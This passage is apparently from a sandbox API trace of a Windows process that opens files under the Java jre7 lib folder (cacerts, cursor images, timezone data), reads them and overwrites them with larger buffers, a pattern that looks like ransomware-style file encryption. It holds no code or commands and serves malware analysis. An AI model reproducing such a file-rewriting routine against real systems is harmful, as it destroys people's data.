lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0048.383] CloseHandle (hObject=0x1b0) returned 1 [0048.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.383] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.383] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x99 [0048.383] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.383] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.383] ReleaseMutex (hMutex=0x128) returned 1 [0048.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="invalid32x32.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="invalid32x32.gif", cchWideChar=16, lpMultiByteStr=0x1e78bcc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="invalid32x32.gif", lpUsedDefaultChar=0x0) returned 16 [0048.384] ReadFile (in: hFile=0x1b0, lpBuffer=0x2515d28, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2515d28*, lpNumberOfBytesRead=0x2e0f2bc*=0x99, lpOverlapped=0x0) returned 1 [0048.384] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0048.384] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x621, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2e0f2d0*=0x621, lpOverlapped=0x0) returned 1 [0048.385] CloseHandle (hObject=0x1b0) returned 1 [0048.385] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.385] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.385] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x488e [0048.385] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.385] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.386] ReleaseMutex (hMutex=0x128) returned 1 [0048.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="default.jfc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="default.jfc", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="default.jfc", lpUsedDefaultChar=0x0) returned 11 [0048.386] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.387] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x388e [0048.388] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.388] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x388e [0048.389] WriteFile (in: hFile=0x1b0, lpBuffer=0x2808d58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2808d58*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.389] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0048.389] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.389] CloseHandle (hObject=0x1b0) returned 1 [0048.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.389] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.390] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xd30 [0048.390] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.390] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.390] ReleaseMutex (hMutex=0x128) returned 1 [0048.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="snmp.acl.template", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0048.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="snmp.acl.template", cchWideChar=17, lpMultiByteStr=0x1e78bcc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snmp.acl.template", lpUsedDefaultChar=0x0) returned 17 [0048.390] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0xd30, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f2bc*=0xd30, lpOverlapped=0x0) returned 1 [0048.392] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0048.392] WriteFile (in: hFile=0x1b0, lpBuffer=0x2808d58*, nNumberOfBytesToWrite=0x12b8, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2808d58*, lpNumberOfBytesWritten=0x2e0f2d0*=0x12b8, lpOverlapped=0x0) returned 1 [0048.392] CloseHandle (hObject=0x1b0) returned 1 [0048.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\cacerts" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.393] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.393] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1429a [0048.393] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.393] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.394] ReleaseMutex (hMutex=0x128) returned 1 [0048.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cacerts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0048.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cacerts", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cacerts", lpUsedDefaultChar=0x0) returned 7 [0048.394] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0048.395] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1329a [0048.395] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.396] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1329a [0048.396] WriteFile (in: hFile=0x1b0, lpBuffer=0x2808d58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2808d58*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.397] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0048.397] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0048.397] CloseHandle (hObject=0x1b0) returned 1 [0048.397] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\accra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.397] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.397] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xb5 [0048.397] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.398] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.398] ReleaseMutex (hMutex=0x128) returned 1 [0048.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accra", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0048.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accra", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accra", lpUsedDefaultChar=0x0) returned 5 [0048.398] ReadFile (in: hFile=0x1b0, lpBuffer=0x2601f98, nNumberOfBytesToRead=0xb5, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2601f98*, lpNumberOfBytesRead=0x2e0f2bc*=0xb5, lpOverlapped=0x0) returned 1 [0048.398] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0048.398] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63d, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2e0f2d0*=0x63d, lpOverlapped=0x0) returned 1 [0048.399] CloseHandle (hObject=0x1b0) returned 1 [0048.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bujumbura" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bujumbura"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.400] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.400] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1b [0048.400] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.400] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.400] ReleaseMutex (hMutex=0x128) returned 1 [0048.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bujumbura", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bujumbura", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bujumbura", lpUsedDefaultChar=0x0) returned 9 [0048.400] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e78b78, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b78*, lpNumberOfBytesRead=0x2e0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0048.401] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0048.401] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0048.401] CloseHandle (hObject=0x1b0) returned 1 [0048.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Freetown" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\freetown"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.402] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.403] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x139 [0048.403] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.403] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.403] ReleaseMutex (hMutex=0x128) returned 1 [0048.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Freetown", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Freetown", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Freetown", lpUsedDefaultChar=0x0) returned 8 [0048.403] ReadFile (in: hFile=0x1b0, lpBuffer=0x253c138, nNumberOfBytesToRead=0x139, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c138*, lpNumberOfBytesRead=0x2e0f2bc*=0x139, lpOverlapped=0x0) returned 1 [0048.404] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0048.404] WriteFile (in: hFile=0x1b0, lpBuffer=0x2620198*, nNumberOfBytesToWrite=0x6c1, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2620198*, lpNumberOfBytesWritten=0x2e0f2d0*=0x6c1, lpOverlapped=0x0) returned 1 [0048.404] CloseHandle (hObject=0x1b0) returned 1 [0048.404] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Libreville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\libreville"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.404] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.404] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x41 [0048.405] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.405] ReleaseMutex (hMutex=0x128) returned 1 [0048.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Libreville", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0048.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Libreville", cchWideChar=10, lpMultiByteStr=0x1e62fec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Libreville", lpUsedDefaultChar=0x0) returned 10 [0048.405] ReadFile (in: hFile=0x1b0, lpBuffer=0x1eaa9f8, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaa9f8*, lpNumberOfBytesRead=0x2e0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0048.405] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0048.406] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0048.406] CloseHandle (hObject=0x1b0) returned 1 [0048.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Monrovia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\monrovia"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.406] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.406] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4d [0048.406] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.406] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.406] ReleaseMutex (hMutex=0x128) returned 1 [0048.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Monrovia", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Monrovia", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Monrovia", lpUsedDefaultChar=0x0) returned 8 [0048.407] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e8f468, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f468*, lpNumberOfBytesRead=0x2e0f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0048.407] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0048.407] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0048.408] CloseHandle (hObject=0x1b0) returned 1 [0048.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Windhoek" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\windhoek"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.408] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.408] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x338 [0048.408] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.408] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.408] ReleaseMutex (hMutex=0x128) returned 1 [0048.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windhoek", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windhoek", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windhoek", lpUsedDefaultChar=0x0) returned 8 [0048.408] ReadFile (in: hFile=0x1b0, lpBuffer=0x2750828, nNumberOfBytesToRead=0x338, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x2e0f2bc*=0x338, lpOverlapped=0x0) returned 1 [0048.411] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0048.411] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8c0, 